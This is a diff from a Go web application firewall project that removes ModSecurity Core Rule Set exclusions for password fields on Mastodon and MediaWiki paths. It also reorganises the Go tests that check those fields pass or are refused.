ctl:ruleRemoveTargetById=932250;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype|old_password|json\.password)$/"
|
||||
@@ -176,87 +176,6 @@ SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
|
||||
|
||||
# The passwords named above skip each rule that random passwords set off, and
|
||||
# so does form_challenge[current_password]: confirming the password at
|
||||
# /auth/challenge, or on the two-factor settings pages that ask for it again.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:settings/(?:migration|delete|two_factor_authentication(?:_methods)?)|auth)(?:/|$)" \
|
||||
"id:900965,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/"
|
||||
|
||||
SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
|
||||
"id:900966,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
|
||||
|
||||
# The web app's reports have the JSON keys forward and forward_to_domains. A
|
||||
# report forwarded to another server lists that server in forward_to_domains.
|
||||
# Their names contain .forward, a file in a home folder, so 930120 refused every
|
||||
|
||||
@@ -6,7 +6,6 @@ import (
|
||||
"net/http"
|
||||
"net/url"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
@@ -55,6 +54,12 @@ const (
|
||||
mastodonStatus = "status="
|
||||
)
|
||||
|
||||
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "mastodon-requests.txt")
|
||||
}
|
||||
|
||||
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
|
||||
// and 932260 in the query, on a path where it skips them, ending in "=".
|
||||
//
|
||||
@@ -124,6 +129,10 @@ var mastodonFormFields = []mastodonBodyField{
|
||||
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
|
||||
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
||||
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
||||
{http.MethodPost, mastodonSignIn, mastodonPassword},
|
||||
{http.MethodPost, mastodonAccount, mastodonPassword},
|
||||
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
||||
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
||||
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
|
||||
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
|
||||
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
||||
@@ -136,19 +145,6 @@ var mastodonFormFields = []mastodonBodyField{
|
||||
{http.MethodPost, mastodonRoles, "user_role[name]="},
|
||||
{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
|
||||
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
|
||||
{http.MethodPost, mastodonSignUp, "reason="},
|
||||
}
|
||||
|
||||
// mastodonPasswordForms sends each password field in a form data body, on
|
||||
// a path where it skips the four rules and the rules that random passwords
|
||||
// set off.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mastodonPasswordForms = []mastodonBodyField{
|
||||
{http.MethodPost, mastodonSignIn, mastodonPassword},
|
||||
{http.MethodPost, mastodonAccount, mastodonPassword},
|
||||
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
||||
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
||||
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
|
||||
{
|
||||
http.MethodPost, "/settings/migration/redirect",
|
||||
@@ -156,14 +152,7 @@ var mastodonPasswordForms = []mastodonBodyField{
|
||||
},
|
||||
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
|
||||
{http.MethodPost, mastodonSignUp, passwordField},
|
||||
}
|
||||
|
||||
// mastodonPasswordJSON sends the password of signing up through the API in
|
||||
// a JSON body, with %s for its value.
|
||||
//
|
||||
//nolint:gochecknoglobals // a struct cannot be a constant
|
||||
var mastodonPasswordJSON = mastodonBodyField{
|
||||
http.MethodPost, mastodonSignUp, `{"password":%s}`,
|
||||
{http.MethodPost, mastodonSignUp, "reason="},
|
||||
}
|
||||
|
||||
// mastodonJSONFields sends each field that skips the four rules in a JSON
|
||||
@@ -189,6 +178,7 @@ var mastodonJSONFields = []mastodonBodyField{
|
||||
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
|
||||
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
||||
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
||||
{http.MethodPost, mastodonSignUp, `{"password":%s}`},
|
||||
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
||||
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
|
||||
@@ -297,46 +287,6 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestMastodonPasswordsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, sent := range mastodonPasswordForms {
|
||||
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
r := request{sent.method, sent.target, []string{formData}}
|
||||
name := strings.TrimSuffix(sent.field, "=")
|
||||
|
||||
wantRandomPasswordsPass(t, r, name)
|
||||
wantPasswordAttacksPass(t, r, name)
|
||||
wantPasswordAttacksRefused(t, r, name)
|
||||
})
|
||||
}
|
||||
|
||||
t.Run("JSON", func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
|
||||
[]string{jsonBody}}
|
||||
|
||||
wantRandomPasswordsPass(t, r, "password")
|
||||
wantPasswordAttacksPass(t, r, "password")
|
||||
wantPasswordAttacksRefused(t, r, "password")
|
||||
})
|
||||
}
|
||||
|
||||
func TestMastodonPasswordConfirmationPasses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
challenge := []string{"form_challenge[current_password]"}
|
||||
|
||||
wantPasswordFieldsPass(t, []passwordFields{
|
||||
{"/auth/challenge", formData, challenge},
|
||||
{"/settings/two_factor_authentication/otp_authentication", formData, challenge},
|
||||
{"/settings/two_factor_authentication_methods/disable", formData, challenge},
|
||||
})
|
||||
}
|
||||
|
||||
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -349,7 +299,7 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
for _, sent := range slices.Concat(mastodonFormFields, mastodonPasswordForms) {
|
||||
for _, sent := range mastodonFormFields {
|
||||
if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
|
||||
t.Errorf("%v let through", sent)
|
||||
}
|
||||
@@ -360,8 +310,7 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
passwordJSON := []mastodonBodyField{mastodonPasswordJSON}
|
||||
for _, sent := range slices.Concat(mastodonJSONFields, passwordJSON) {
|
||||
for _, sent := range mastodonJSONFields {
|
||||
if mastodonJSON(t, sent, attack) < mastodonThreshold {
|
||||
t.Errorf("%v let through", sent)
|
||||
}
|
||||
@@ -381,12 +330,6 @@ func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
t.Errorf("%s refused: %d", sent, score)
|
||||
}
|
||||
}
|
||||
|
||||
for _, sent := range mastodonPasswordForms {
|
||||
if mastodonForm(t, sent, value) >= mastodonThreshold {
|
||||
t.Errorf("%v with %s refused", sent, value)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
code := url.QueryEscape(mastodonCodePost)
|
||||
|
||||
@@ -108,180 +108,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
|
||||
|
||||
# These passwords skip each rule random passwords set off, on MediaWiki's pages:
|
||||
# wpPassword: signing in and signing up
|
||||
# and on /api.php:
|
||||
# lgpassword: signing in with action=login
|
||||
# password, retype: action=clientlogin, createaccount and
|
||||
# changeauthenticationdata
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||
"id:900917,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
||||
SecRule &ARGS_GET:wpPassword "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:wpPassword"
|
||||
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
|
||||
"id:900918,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:lgpassword|password|retype)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:lgpassword|password|retype)$/"
|
||||
|
||||
# Other apps use the names password and retype too, and these exclusions apply
|
||||
# in front of every app. So these two fields skip the same rules only on the
|
||||
# pages that take them:
|
||||
# password, retype: changing the password at Special:ChangeCredentials
|
||||
# retype: signing up at Special:CreateAccount
|
||||
# retype: setting the new password after a reset at Special:UserLogin
|
||||
# The path names the page, or the path is /index.php and title names it. A title
|
||||
# on any other path does not count, so another app's paths under /index.php/
|
||||
# keep every rule.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/Special:ChangeCredentials(?:/|$)" \
|
||||
"id:900919,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?Special:ChangeCredentials(?:/|$)" "chain"
|
||||
SecRule &ARGS_GET:/^(?:password|retype)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:password|retype)$/,\
|
